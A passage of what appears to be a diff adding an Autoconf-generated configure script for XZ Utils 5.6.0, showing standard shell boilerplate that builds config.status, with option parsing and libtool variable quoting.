"${COND_GNULIB_FALSE}"; then + as_fn_error $? "conditional \"COND_GNULIB\" was never defined. +Usually this means the macro was only invoked conditionally." "$LINENO" 5 +fi + +: "${CONFIG_STATUS=./config.status}" +ac_write_fail=0 +ac_clean_files_save=$ac_clean_files +ac_clean_files="$ac_clean_files $CONFIG_STATUS" +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: creating $CONFIG_STATUS" >&5 +printf "%s\n" "$as_me: creating $CONFIG_STATUS" >&6;} +as_write_fail=0 +cat >$CONFIG_STATUS <<_ASEOF || as_write_fail=1 +#! $SHELL +# Generated by $as_me. +# Run this file to recreate the current configuration. +# Compiler output produced by configure, useful for debugging +# configure, is in config.log if it exists. + +debug=false +ac_cs_recheck=false +ac_cs_silent=false + +SHELL=\${CONFIG_SHELL-$SHELL} +export SHELL +_ASEOF +cat >>$CONFIG_STATUS <<\_ASEOF || as_write_fail=1 +## -------------------- ## +## M4sh Initialization. ## +## -------------------- ## + +# Be more Bourne compatible +DUALCASE=1; export DUALCASE # for MKS sh +if test ${ZSH_VERSION+y} && (emulate sh) >/dev/null 2>&1 +then : + emulate sh + NULLCMD=: + # Pre-4.2 versions of Zsh do word splitting on ${1+"$@"}, which + # is contrary to our usage. Disable this feature. + alias -g '${1+"$@"}'='"$@"' + setopt NO_GLOB_SUBST +else case e in #( + e) case `(set -o) 2>/dev/null` in #( + *posix*) : + set -o posix ;; #( + *) : + ;; +esac ;; +esac +fi + + + +# Reset variables that may have inherited troublesome values from +# the environment. + +# IFS needs to be set, to space, tab, and newline, in precisely that order. +# (If _AS_PATH_WALK were called with IFS unset, it would have the +# side effect of setting IFS to empty, thus disabling word splitting.) +# Quoting is to prevent editors from complaining about space-tab. +as_nl=' +' +export as_nl +IFS=" "" $as_nl" + +PS1='$ ' +PS2='> ' +PS4='+ ' + +# Ensure predictable behavior from utilities with locale-dependent output. +LC_ALL=C +export LC_ALL +LANGUAGE=C +export LANGUAGE + +# We cannot yet rely on "unset" to work, but we need these variables +# to be unset--not just set to an empty or harmless value--now, to +# avoid bugs in old shells (e.g. pre-3.0 UWIN ksh). This construct +# also avoids known problems related to "unset" and subshell syntax +# in other old shells (e.g. bash 2.01 and pdksh 5.2.14). +for as_var in BASH_ENV ENV MAIL MAILPATH CDPATH +do eval test \${$as_var+y} \ + && ( (unset $as_var) || exit 1) >/dev/null 2>&1 && unset $as_var || : +done + +# Ensure that fds 0, 1, and 2 are open. +if (exec 3>&0) 2>/dev/null; then :; else exec 0&1) 2>/dev/null; then :; else exec 1>/dev/null; fi +if (exec 3>&2) ; then :; else exec 2>/dev/null; fi + +# The user is always right. +if ${PATH_SEPARATOR+false} :; then + PATH_SEPARATOR=: + (PATH='/bin;/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 && { + (PATH='/bin:/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 || + PATH_SEPARATOR=';' + } +fi + + +# Find who we are. Look in the path if we contain no directory separator. +as_myself= +case $0 in #(( + *[\\/]* ) as_myself=$0 ;; + *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + test -r "$as_dir$0" && as_myself=$as_dir$0 && break + done +IFS=$as_save_IFS + + ;; +esac +# We did not find ourselves, most probably we were run as 'sh COMMAND' +# in which case we are not to be found in the path. +if test "x$as_myself" = x; then + as_myself=$0 +fi +if test ! -f "$as_myself"; then + printf "%s\n" "$as_myself: error: cannot find myself; rerun with an absolute file name" >&2 + exit 1 +fi + + + +# as_fn_error STATUS ERROR [LINENO LOG_FD] +# ---------------------------------------- +# Output "`basename $0`: error: ERROR" to stderr. If LINENO and LOG_FD are +# provided, also output the error to LOG_FD, referencing LINENO. Then exit the +# script with STATUS, using 1 if that was 0. +as_fn_error () +{ + as_status=$1; test $as_status -eq 0 && as_status=1 + if test "$4"; then + as_lineno=${as_lineno-"$3"} as_lineno_stack=as_lineno_stack=$as_lineno_stack + printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: $2" >&$4 + fi + printf "%s\n" "$as_me: error: $2" >&2 + as_fn_exit $as_status +} # as_fn_error + + +# as_fn_set_status STATUS +# ----------------------- +# Set $? to STATUS, without forking. +as_fn_set_status () +{ + return $1 +} # as_fn_set_status + +# as_fn_exit STATUS +# ----------------- +# Exit the shell with STATUS, even in a "trap 0" or "set -e" context. +as_fn_exit () +{ + set +e + as_fn_set_status $1 + exit $1 +} # as_fn_exit + +# as_fn_unset VAR +# --------------- +# Portably unset VAR. +as_fn_unset () +{ + { eval $1=; unset $1;} +} +as_unset=as_fn_unset + +# as_fn_append VAR VALUE +# ---------------------- +# Append the text in VALUE to the end of the definition contained in VAR. Take +# advantage of any shell optimizations that allow amortized linear growth over +# repeated appends, instead of the typical quadratic growth present in naive +# implementations. +if (eval "as_var=1; as_var+=2; test x\$as_var = x12") 2>/dev/null +then : + eval 'as_fn_append () + { + eval $1+=\$2 + }' +else case e in #( + e) as_fn_append () + { + eval $1=\$$1\$2 + } ;; +esac +fi # as_fn_append + +# as_fn_arith ARG... +# ------------------ +# Perform arithmetic evaluation on the ARGs, and store the result in the +# global $as_val. Take advantage of shells that can avoid forks. The arguments +# must be portable across $(()) and expr. +if (eval "test \$(( 1 + 1 )) = 2") 2>/dev/null +then : + eval 'as_fn_arith () + { + as_val=$(( $* )) + }' +else case e in #( + e) as_fn_arith () + { + as_val=`expr "$@" || test $? -eq 1` + } ;; +esac +fi # as_fn_arith + + +if expr a : '\(a\)' >/dev/null 2>&1 && + test "X`expr 00001 : '.*\(...\)'`" = X001; then + as_expr=expr +else + as_expr=false +fi + +if (basename -- /) >/dev/null 2>&1 && test "X`basename -- / 2>&1`" = "X/"; then + as_basename=basename +else + as_basename=false +fi + +if (as_dir=`dirname -- /` && test "X$as_dir" = X/) >/dev/null 2>&1; then + as_dirname=dirname +else + as_dirname=false +fi + +as_me=`$as_basename -- "$0" || +$as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \ + X"$0" : 'X\(//\)$' \| \ + X"$0" : 'X\(/\)' \| . 2>/dev/null || +printf "%s\n" X/"$0" | + sed '/^.*\/\([^/][^/]*\)\/*$/{ + s//\1/ + q + } + /^X\/\(\/\/\)$/{ + s//\1/ + q + } + /^X\/\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + +# Avoid depending upon Character Ranges. +as_cr_letters='abcdefghijklmnopqrstuvwxyz' +as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ' +as_cr_Letters=$as_cr_letters$as_cr_LETTERS +as_cr_digits='0123456789' +as_cr_alnum=$as_cr_Letters$as_cr_digits + + +# Determine whether it's possible to make 'echo' print without a newline. +# These variables are no longer used directly by Autoconf, but are AC_SUBSTed +# for compatibility with existing Makefiles. +ECHO_C= ECHO_N= ECHO_T= +case `echo -n x` in #((((( +-n*) + case `echo 'xy\c'` in + *c*) ECHO_T=' ';; # ECHO_T is single tab character. + xy) ECHO_C='\c';; + *) echo `echo ksh88 bug on AIX 6.1` > /dev/null + ECHO_T=' ';; + esac;; +*) + ECHO_N='-n';; +esac + +# For backward compatibility with old third-party macros, we provide +# the shell variables $as_echo and $as_echo_n. New code should use +# AS_ECHO(["message"]) and AS_ECHO_N(["message"]), respectively. +as_echo='printf %s\n' +as_echo_n='printf %s' + +rm -f conf$$ conf$$.exe conf$$.file +if test -d conf$$.dir; then + rm -f conf$$.dir/conf$$.file +else + rm -f conf$$.dir + mkdir conf$$.dir 2>/dev/null +fi +if (echo >conf$$.file) 2>/dev/null; then + if ln -s conf$$.file conf$$ 2>/dev/null; then + as_ln_s='ln -s' + # ... but there are two gotchas: + # 1) On MSYS, both 'ln -s file dir' and 'ln file dir' fail. + # 2) DJGPP < 2.04 has no symlinks; 'ln -s' creates a wrapper executable. + # In both cases, we have to default to 'cp -pR'. + ln -s conf$$.file conf$$.dir 2>/dev/null && test ! -f conf$$.exe || + as_ln_s='cp -pR' + elif ln conf$$.file conf$$ 2>/dev/null; then + as_ln_s=ln + else + as_ln_s='cp -pR' + fi +else + as_ln_s='cp -pR' +fi +rm -f conf$$ conf$$.exe conf$$.dir/conf$$.file conf$$.file +rmdir conf$$.dir 2>/dev/null + + +# as_fn_mkdir_p +# ------------- +# Create "$as_dir" as a directory, including parents if necessary. +as_fn_mkdir_p () +{ + + case $as_dir in #( + -*) as_dir=./$as_dir;; + esac + test -d "$as_dir" || eval $as_mkdir_p || { + as_dirs= + while :; do + case $as_dir in #( + *\'*) as_qdir=`printf "%s\n" "$as_dir" | sed "s/'/'\\\\\\\\''/g"`;; #'( + *) as_qdir=$as_dir;; + esac + as_dirs="'$as_qdir' $as_dirs" + as_dir=`$as_dirname -- "$as_dir" || +$as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ + X"$as_dir" : 'X\(//\)[^/]' \| \ + X"$as_dir" : 'X\(//\)$' \| \ + X"$as_dir" : 'X\(/\)' \| . 2>/dev/null || +printf "%s\n" X"$as_dir" | + sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ + s//\1/ + q + } + /^X\(\/\/\)[^/].*/{ + s//\1/ + q + } + /^X\(\/\/\)$/{ + s//\1/ + q + } + /^X\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + test -d "$as_dir" && break + done + test -z "$as_dirs" || eval "mkdir $as_dirs" + } || test -d "$as_dir" || as_fn_error $? "cannot create directory $as_dir" + + +} # as_fn_mkdir_p +if mkdir -p . 2>/dev/null; then + as_mkdir_p='mkdir -p "$as_dir"' +else + test -d ./-p && rmdir ./-p + as_mkdir_p=false +fi + + +# as_fn_executable_p FILE +# ----------------------- +# Test if FILE is an executable regular file. +as_fn_executable_p () +{ + test -f "$1" && test -x "$1" +} # as_fn_executable_p +as_test_x='test -x' +as_executable_p=as_fn_executable_p + +# Sed expression to map a string onto a valid CPP name. +as_sed_cpp="y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g" +as_tr_cpp="eval sed '$as_sed_cpp'" # deprecated + +# Sed expression to map a string onto a valid variable name. +as_sed_sh="y%*+%pp%;s%[^_$as_cr_alnum]%_%g" +as_tr_sh="eval sed '$as_sed_sh'" # deprecated + + +exec 6>&1 +## ----------------------------------- ## +## Main body of $CONFIG_STATUS script. ## +## ----------------------------------- ## +_ASEOF +test $as_write_fail = 0 && chmod +x $CONFIG_STATUS || ac_write_fail=1 + +cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 +# Save the log message, to keep $0 and so on meaningful, and to +# report actual input values of CONFIG_FILES etc. instead of their +# values after options handling. +ac_log=" +This file was extended by XZ Utils $as_me 5.6.0, which was +generated by GNU Autoconf 2.72. Invocation command line was + + CONFIG_FILES = $CONFIG_FILES + CONFIG_HEADERS = $CONFIG_HEADERS + CONFIG_LINKS = $CONFIG_LINKS + CONFIG_COMMANDS = $CONFIG_COMMANDS + $ $0 $@ + +on `(hostname || uname -n) 2>/dev/null | sed 1q` +" + +_ACEOF + +case $ac_config_files in *" +"*) set x $ac_config_files; shift; ac_config_files=$*;; +esac + +case $ac_config_headers in *" +"*) set x $ac_config_headers; shift; ac_config_headers=$*;; +esac + + +cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 +# Files that config.status was made for. +config_files="$ac_config_files" +config_headers="$ac_config_headers" +config_commands="$ac_config_commands" + +_ACEOF + +cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 +ac_cs_usage="\ +'$as_me' instantiates files and other configuration actions +from templates according to the current configuration. Unless the files +and actions are specified as TAGs, all are instantiated by default. + +Usage: $0 [OPTION]... [TAG]... + + -h, --help print this help, then exit + -V, --version print version number and configuration settings, then exit + --config print configuration, then exit + -q, --quiet, --silent + do not print progress messages + -d, --debug don't remove temporary files + --recheck update $as_me by reconfiguring in the same conditions + --file=FILE[:TEMPLATE] + instantiate the configuration file FILE + --header=FILE[:TEMPLATE] + instantiate the configuration header FILE + +Configuration files: +$config_files + +Configuration headers: +$config_headers + +Configuration commands: +$config_commands + +Report bugs to . +XZ Utils home page: ." + +_ACEOF +ac_cs_config=`printf "%s\n" "$ac_configure_args" | sed "$ac_safe_unquote"` +ac_cs_config_escaped=`printf "%s\n" "$ac_cs_config" | sed "s/^ //; s/'/'\\\\\\\\''/g"` +cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 +ac_cs_config='$ac_cs_config_escaped' +ac_cs_version="\\ +XZ Utils config.status 5.6.0 +configured by $0, generated by GNU Autoconf 2.72, + with options \\"\$ac_cs_config\\" + +Copyright (C) 2023 Free Software Foundation, Inc. +This config.status script is free software; the Free Software Foundation +gives unlimited permission to copy, distribute and modify it." + +ac_pwd='$ac_pwd' +srcdir='$srcdir' +INSTALL='$INSTALL' +MKDIR_P='$MKDIR_P' +AWK='$AWK' +test -n "\$AWK" || AWK=awk +_ACEOF + +cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 +# The default lists apply if the user does not specify any file. +ac_need_defaults=: +while test $# != 0 +do + case $1 in + --*=?*) + ac_option=`expr "X$1" : 'X\([^=]*\)='` + ac_optarg=`expr "X$1" : 'X[^=]*=\(.*\)'` + ac_shift=: + ;; + --*=) + ac_option=`expr "X$1" : 'X\([^=]*\)='` + ac_optarg= + ac_shift=: + ;; + *) + ac_option=$1 + ac_optarg=$2 + ac_shift=shift + ;; + esac + + case $ac_option in + # Handling of the options. + -recheck | --recheck | --rechec | --reche | --rech | --rec | --re | --r) + ac_cs_recheck=: ;; + --version | --versio | --versi | --vers | --ver | --ve | --v | -V ) + printf "%s\n" "$ac_cs_version"; exit ;; + --config | --confi | --conf | --con | --co | --c ) + printf "%s\n" "$ac_cs_config"; exit ;; + --debug | --debu | --deb | --de | --d | -d ) + debug=: ;; + --file | --fil | --fi | --f ) + $ac_shift + case $ac_optarg in + *\'*) ac_optarg=`printf "%s\n" "$ac_optarg" | sed "s/'/'\\\\\\\\''/g"` ;; + '') as_fn_error $? "missing file argument" ;; + esac + as_fn_append CONFIG_FILES " '$ac_optarg'" + ac_need_defaults=false;; + --header | --heade | --head | --hea ) + $ac_shift + case $ac_optarg in + *\'*) ac_optarg=`printf "%s\n" "$ac_optarg" | sed "s/'/'\\\\\\\\''/g"` ;; + esac + as_fn_append CONFIG_HEADERS " '$ac_optarg'" + ac_need_defaults=false;; + --he | --h) + # Conflict between --help and --header + as_fn_error $? "ambiguous option: '$1' +Try '$0 --help' for more information.";; + --help | --hel | -h ) + printf "%s\n" "$ac_cs_usage"; exit ;; + -q | -quiet | --quiet | --quie | --qui | --qu | --q \ + | -silent | --silent | --silen | --sile | --sil | --si | --s) + ac_cs_silent=: ;; + + # This is an error. + -*) as_fn_error $? "unrecognized option: '$1' +Try '$0 --help' for more information." ;; + + *) as_fn_append ac_config_targets " $1" + ac_need_defaults=false ;; + + esac + shift +done + +ac_configure_extra_args= + +if $ac_cs_silent; then + exec 6>/dev/null + ac_configure_extra_args="$ac_configure_extra_args --silent" +fi + +_ACEOF +cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 +if \$ac_cs_recheck; then + set X $SHELL '$0' $ac_configure_args \$ac_configure_extra_args --no-create --no-recursion + shift + \printf "%s\n" "running CONFIG_SHELL=$SHELL \$*" >&6 + CONFIG_SHELL='$SHELL' + export CONFIG_SHELL + exec "\$@" +fi + +_ACEOF +cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 +exec 5>>config.log +{ + echo + sed 'h;s/./-/g;s/^.../## /;s/...$/ ##/;p;x;p;x' <<_ASBOX +## Running $as_me. ## +_ASBOX + printf "%s\n" "$ac_log" +} >&5 + +_ACEOF +cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 +# +# INIT-COMMANDS +# +AMDEP_TRUE="$AMDEP_TRUE" MAKE="${MAKE-make}" + + +# The HP-UX ksh and POSIX shell print the target directory to stdout +# if CDPATH is set. +(unset CDPATH) >/dev/null 2>&1 && unset CDPATH + +sed_quote_subst='$sed_quote_subst' +double_quote_subst='$double_quote_subst' +delay_variable_subst='$delay_variable_subst' +macro_version='`$ECHO "$macro_version" | $SED "$delay_single_quote_subst"`' +macro_revision='`$ECHO "$macro_revision" | $SED "$delay_single_quote_subst"`' +AS='`$ECHO "$AS" | $SED "$delay_single_quote_subst"`' +DLLTOOL='`$ECHO "$DLLTOOL" | $SED "$delay_single_quote_subst"`' +OBJDUMP='`$ECHO "$OBJDUMP" | $SED "$delay_single_quote_subst"`' +enable_shared='`$ECHO "$enable_shared" | $SED "$delay_single_quote_subst"`' +enable_static='`$ECHO "$enable_static" | $SED "$delay_single_quote_subst"`' +pic_mode='`$ECHO "$pic_mode" | $SED "$delay_single_quote_subst"`' +enable_fast_install='`$ECHO "$enable_fast_install" | $SED "$delay_single_quote_subst"`' +shared_archive_member_spec='`$ECHO "$shared_archive_member_spec" | $SED "$delay_single_quote_subst"`' +SHELL='`$ECHO "$SHELL" | $SED "$delay_single_quote_subst"`' +ECHO='`$ECHO "$ECHO" | $SED "$delay_single_quote_subst"`' +PATH_SEPARATOR='`$ECHO "$PATH_SEPARATOR" | $SED "$delay_single_quote_subst"`' +host_alias='`$ECHO "$host_alias" | $SED "$delay_single_quote_subst"`' +host='`$ECHO "$host" | $SED "$delay_single_quote_subst"`' +host_os='`$ECHO "$host_os" | $SED "$delay_single_quote_subst"`' +build_alias='`$ECHO "$build_alias" | $SED "$delay_single_quote_subst"`' +build='`$ECHO "$build" | $SED "$delay_single_quote_subst"`' +build_os='`$ECHO "$build_os" | $SED "$delay_single_quote_subst"`' +SED='`$ECHO "$SED" | $SED "$delay_single_quote_subst"`' +Xsed='`$ECHO "$Xsed" | $SED "$delay_single_quote_subst"`' +GREP='`$ECHO "$GREP" | $SED "$delay_single_quote_subst"`' +EGREP='`$ECHO "$EGREP" | $SED "$delay_single_quote_subst"`' +FGREP='`$ECHO "$FGREP" | $SED "$delay_single_quote_subst"`' +LD='`$ECHO "$LD" | $SED "$delay_single_quote_subst"`' +NM='`$ECHO "$NM" | $SED "$delay_single_quote_subst"`' +LN_S='`$ECHO "$LN_S" | $SED "$delay_single_quote_subst"`' +max_cmd_len='`$ECHO "$max_cmd_len" | $SED "$delay_single_quote_subst"`' +ac_objext='`$ECHO "$ac_objext" | $SED "$delay_single_quote_subst"`' +exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`' +lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`' +lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`' +lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`' +lt_cv_to_host_file_cmd='`$ECHO "$lt_cv_to_host_file_cmd" | $SED "$delay_single_quote_subst"`' +lt_cv_to_tool_file_cmd='`$ECHO "$lt_cv_to_tool_file_cmd" | $SED "$delay_single_quote_subst"`' +reload_flag='`$ECHO "$reload_flag" | $SED "$delay_single_quote_subst"`' +reload_cmds='`$ECHO "$reload_cmds" | $SED "$delay_single_quote_subst"`' +FILECMD='`$ECHO "$FILECMD" | $SED "$delay_single_quote_subst"`' +deplibs_check_method='`$ECHO "$deplibs_check_method" | $SED "$delay_single_quote_subst"`' +file_magic_cmd='`$ECHO "$file_magic_cmd" | $SED "$delay_single_quote_subst"`' +file_magic_glob='`$ECHO "$file_magic_glob" | $SED "$delay_single_quote_subst"`' +want_nocaseglob='`$ECHO "$want_nocaseglob" | $SED "$delay_single_quote_subst"`' +sharedlib_from_linklib_cmd='`$ECHO "$sharedlib_from_linklib_cmd" | $SED "$delay_single_quote_subst"`' +AR='`$ECHO "$AR" | $SED "$delay_single_quote_subst"`' +lt_ar_flags='`$ECHO "$lt_ar_flags" | $SED "$delay_single_quote_subst"`' +AR_FLAGS='`$ECHO "$AR_FLAGS" | $SED "$delay_single_quote_subst"`' +archiver_list_spec='`$ECHO "$archiver_list_spec" | $SED "$delay_single_quote_subst"`' +STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`' +RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`' +old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`' +old_postuninstall_cmds='`$ECHO "$old_postuninstall_cmds" | $SED "$delay_single_quote_subst"`' +old_archive_cmds='`$ECHO "$old_archive_cmds" | $SED "$delay_single_quote_subst"`' +lock_old_archive_extraction='`$ECHO "$lock_old_archive_extraction" | $SED "$delay_single_quote_subst"`' +CC='`$ECHO "$CC" | $SED "$delay_single_quote_subst"`' +CFLAGS='`$ECHO "$CFLAGS" | $SED "$delay_single_quote_subst"`' +compiler='`$ECHO "$compiler" | $SED "$delay_single_quote_subst"`' +GCC='`$ECHO "$GCC" | $SED "$delay_single_quote_subst"`' +lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$delay_single_quote_subst"`' +lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`' +lt_cv_sys_global_symbol_to_import='`$ECHO "$lt_cv_sys_global_symbol_to_import" | $SED "$delay_single_quote_subst"`' +lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`' +lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`' +lt_cv_nm_interface='`$ECHO "$lt_cv_nm_interface" | $SED "$delay_single_quote_subst"`' +nm_file_list_spec='`$ECHO "$nm_file_list_spec" | $SED "$delay_single_quote_subst"`' +lt_sysroot='`$ECHO "$lt_sysroot" | $SED "$delay_single_quote_subst"`' +lt_cv_truncate_bin='`$ECHO "$lt_cv_truncate_bin" | $SED "$delay_single_quote_subst"`' +objdir='`$ECHO "$objdir" | $SED "$delay_single_quote_subst"`' +MAGIC_CMD='`$ECHO "$MAGIC_CMD" | $SED "$delay_single_quote_subst"`' +lt_prog_compiler_no_builtin_flag='`$ECHO "$lt_prog_compiler_no_builtin_flag" | $SED "$delay_single_quote_subst"`' +lt_prog_compiler_pic='`$ECHO "$lt_prog_compiler_pic" | $SED "$delay_single_quote_subst"`' +lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`' +lt_prog_compiler_static='`$ECHO "$lt_prog_compiler_static" | $SED "$delay_single_quote_subst"`' +lt_cv_prog_compiler_c_o='`$ECHO "$lt_cv_prog_compiler_c_o" | $SED "$delay_single_quote_subst"`' +need_locks='`$ECHO "$need_locks" | $SED "$delay_single_quote_subst"`' +MANIFEST_TOOL='`$ECHO "$MANIFEST_TOOL" | $SED "$delay_single_quote_subst"`' +DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`' +NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`' +LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`' +OTOOL='`$ECHO "$OTOOL" | $SED "$delay_single_quote_subst"`' +OTOOL64='`$ECHO "$OTOOL64" | $SED "$delay_single_quote_subst"`' +libext='`$ECHO "$libext" | $SED "$delay_single_quote_subst"`' +shrext_cmds='`$ECHO "$shrext_cmds" | $SED "$delay_single_quote_subst"`' +extract_expsyms_cmds='`$ECHO "$extract_expsyms_cmds" | $SED "$delay_single_quote_subst"`' +archive_cmds_need_lc='`$ECHO "$archive_cmds_need_lc" | $SED "$delay_single_quote_subst"`' +enable_shared_with_static_runtimes='`$ECHO "$enable_shared_with_static_runtimes" | $SED "$delay_single_quote_subst"`' +export_dynamic_flag_spec='`$ECHO "$export_dynamic_flag_spec" | $SED "$delay_single_quote_subst"`' +whole_archive_flag_spec='`$ECHO "$whole_archive_flag_spec" | $SED "$delay_single_quote_subst"`' +compiler_needs_object='`$ECHO "$compiler_needs_object" | $SED "$delay_single_quote_subst"`' +old_archive_from_new_cmds='`$ECHO "$old_archive_from_new_cmds" | $SED "$delay_single_quote_subst"`' +old_archive_from_expsyms_cmds='`$ECHO "$old_archive_from_expsyms_cmds" | $SED "$delay_single_quote_subst"`' +archive_cmds='`$ECHO "$archive_cmds" | $SED "$delay_single_quote_subst"`' +archive_expsym_cmds='`$ECHO "$archive_expsym_cmds" | $SED "$delay_single_quote_subst"`' +module_cmds='`$ECHO "$module_cmds" | $SED "$delay_single_quote_subst"`' +module_expsym_cmds='`$ECHO "$module_expsym_cmds" | $SED "$delay_single_quote_subst"`' +with_gnu_ld='`$ECHO "$with_gnu_ld" | $SED "$delay_single_quote_subst"`' +allow_undefined_flag='`$ECHO "$allow_undefined_flag" | $SED "$delay_single_quote_subst"`' +no_undefined_flag='`$ECHO "$no_undefined_flag" | $SED "$delay_single_quote_subst"`' +hardcode_libdir_flag_spec='`$ECHO "$hardcode_libdir_flag_spec" | $SED "$delay_single_quote_subst"`' +hardcode_libdir_separator='`$ECHO "$hardcode_libdir_separator" | $SED "$delay_single_quote_subst"`' +hardcode_direct='`$ECHO "$hardcode_direct" | $SED "$delay_single_quote_subst"`' +hardcode_direct_absolute='`$ECHO "$hardcode_direct_absolute" | $SED "$delay_single_quote_subst"`' +hardcode_minus_L='`$ECHO "$hardcode_minus_L" | $SED "$delay_single_quote_subst"`' +hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_quote_subst"`' +hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`' +inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`' +link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`' +always_export_symbols='`$ECHO "$always_export_symbols" | $SED "$delay_single_quote_subst"`' +export_symbols_cmds='`$ECHO "$export_symbols_cmds" | $SED "$delay_single_quote_subst"`' +exclude_expsyms='`$ECHO "$exclude_expsyms" | $SED "$delay_single_quote_subst"`' +include_expsyms='`$ECHO "$include_expsyms" | $SED "$delay_single_quote_subst"`' +prelink_cmds='`$ECHO "$prelink_cmds" | $SED "$delay_single_quote_subst"`' +postlink_cmds='`$ECHO "$postlink_cmds" | $SED "$delay_single_quote_subst"`' +file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`' +variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`' +need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`' +need_version='`$ECHO "$need_version" | $SED "$delay_single_quote_subst"`' +version_type='`$ECHO "$version_type" | $SED "$delay_single_quote_subst"`' +runpath_var='`$ECHO "$runpath_var" | $SED "$delay_single_quote_subst"`' +shlibpath_var='`$ECHO "$shlibpath_var" | $SED "$delay_single_quote_subst"`' +shlibpath_overrides_runpath='`$ECHO "$shlibpath_overrides_runpath" | $SED "$delay_single_quote_subst"`' +libname_spec='`$ECHO "$libname_spec" | $SED "$delay_single_quote_subst"`' +library_names_spec='`$ECHO "$library_names_spec" | $SED "$delay_single_quote_subst"`' +soname_spec='`$ECHO "$soname_spec" | $SED "$delay_single_quote_subst"`' +install_override_mode='`$ECHO "$install_override_mode" | $SED "$delay_single_quote_subst"`' +postinstall_cmds='`$ECHO "$postinstall_cmds" | $SED "$delay_single_quote_subst"`' +postuninstall_cmds='`$ECHO "$postuninstall_cmds" | $SED "$delay_single_quote_subst"`' +finish_cmds='`$ECHO "$finish_cmds" | $SED "$delay_single_quote_subst"`' +finish_eval='`$ECHO "$finish_eval" | $SED "$delay_single_quote_subst"`' +hardcode_into_libs='`$ECHO "$hardcode_into_libs" | $SED "$delay_single_quote_subst"`' +sys_lib_search_path_spec='`$ECHO "$sys_lib_search_path_spec" | $SED "$delay_single_quote_subst"`' +configure_time_dlsearch_path='`$ECHO "$configure_time_dlsearch_path" | $SED "$delay_single_quote_subst"`' +configure_time_lt_sys_library_path='`$ECHO "$configure_time_lt_sys_library_path" | $SED "$delay_single_quote_subst"`' +hardcode_action='`$ECHO "$hardcode_action" | $SED "$delay_single_quote_subst"`' +enable_dlopen='`$ECHO "$enable_dlopen" | $SED "$delay_single_quote_subst"`' +enable_dlopen_self='`$ECHO "$enable_dlopen_self" | $SED "$delay_single_quote_subst"`' +enable_dlopen_self_static='`$ECHO "$enable_dlopen_self_static" | $SED "$delay_single_quote_subst"`' +old_striplib='`$ECHO "$old_striplib" | $SED "$delay_single_quote_subst"`' +striplib='`$ECHO "$striplib" | $SED "$delay_single_quote_subst"`' +gl_path_map='`$ECHO "$gl_path_map" | $SED "$delay_single_quote_subst"`' +gl_localedir_prefix='`$ECHO "$gl_localedir_prefix" | $SED "$delay_single_quote_subst"`' +gl_am_configmake='`$ECHO "$gl_am_configmake" | $SED "$delay_single_quote_subst"`' +localedir_c_make='`$ECHO "$localedir_c_make" | $SED "$delay_single_quote_subst"`' +gl_localedir_config='`$ECHO "$gl_localedir_config" | $SED "$delay_single_quote_subst"`' +LD_RC='`$ECHO "$LD_RC" | $SED "$delay_single_quote_subst"`' +reload_flag_RC='`$ECHO "$reload_flag_RC" | $SED "$delay_single_quote_subst"`' +reload_cmds_RC='`$ECHO "$reload_cmds_RC" | $SED "$delay_single_quote_subst"`' +old_archive_cmds_RC='`$ECHO "$old_archive_cmds_RC" | $SED "$delay_single_quote_subst"`' +compiler_RC='`$ECHO "$compiler_RC" | $SED "$delay_single_quote_subst"`' +GCC_RC='`$ECHO "$GCC_RC" | $SED 